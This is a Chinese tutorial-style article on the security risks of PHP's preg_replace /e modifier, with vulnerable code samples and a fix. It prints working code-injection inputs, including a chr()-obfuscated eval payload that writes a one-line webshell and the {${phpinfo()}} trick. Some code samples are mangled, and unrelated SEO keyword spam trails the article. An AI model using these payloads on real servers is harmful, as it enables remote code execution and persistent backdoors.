千家信息网

php中使用preg_replace危险的/e修饰符需要注意什么

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,这篇文章给大家分享的是有关php中使用preg_replace危险的/e修饰符需要注意什么的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。preg_replace函数原型:m
千家信息网最后更新 2026年11月03日php中使用preg_replace危险的/e修饰符需要注意什么

这篇文章给大家分享的是有关php中使用preg_replace危险的/e修饰符需要注意什么的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

复制代码 代码如下:


preg_replace ("/(]*>)/e",
"\1.strtoupper(\2).\3",
$html_body);
?>



这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

复制代码 代码如下:


echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>



如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

复制代码 代码如下:


function test($str)
{
}
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]);
?>



提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?


当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

复制代码 代码如下:


echo "{${phpinfo()}}";



phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样'${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

感谢各位的阅读!关于"php中使用preg_replace危险的/e修饰符需要注意什么"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!

代码 参数 变量 字符 字符串 引号 函数 处理 解释 危险 内容 客户 客户端 更多 篇文章 结果 不错 合法 实用 普通 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网是第几次科技革命的成果 广州万易互联网科技有限公司 互联网科技工作委员会主任 西安纸贵互联网科技有限公司 中关村互联网科技集团 科技金融是不是互联网金融 科技互联网政务服务 奇酷互联网科技公司 华中科技大学互联网 互联网实体化科技化 湖南诚度互联网科技有限公司 苏州铭阳互联网科技有限公司 链环科技传统企业怎么转型互联网 国大互联网教育科技有限公司工作 互联网在线教育科技创业 科技赋能视角下互联网保险发展 互联网时代科技型公司的机会 容联科技互联网电商 艺电能源互联网科技有限公司招聘 三亚科技创新互联网基地 天津市摩尔互联网科技 港股互联网科技股 致聘互联网科技 广州互联网络科技有限公司 互联网之后的科技是什么 花神(南京)互联网科技有限公司 迪庆互联网科技招生 广东工业互联网大赛深圳学泰科技 富国互联网金融科技混合基金 35岁以上互联网科技行业
0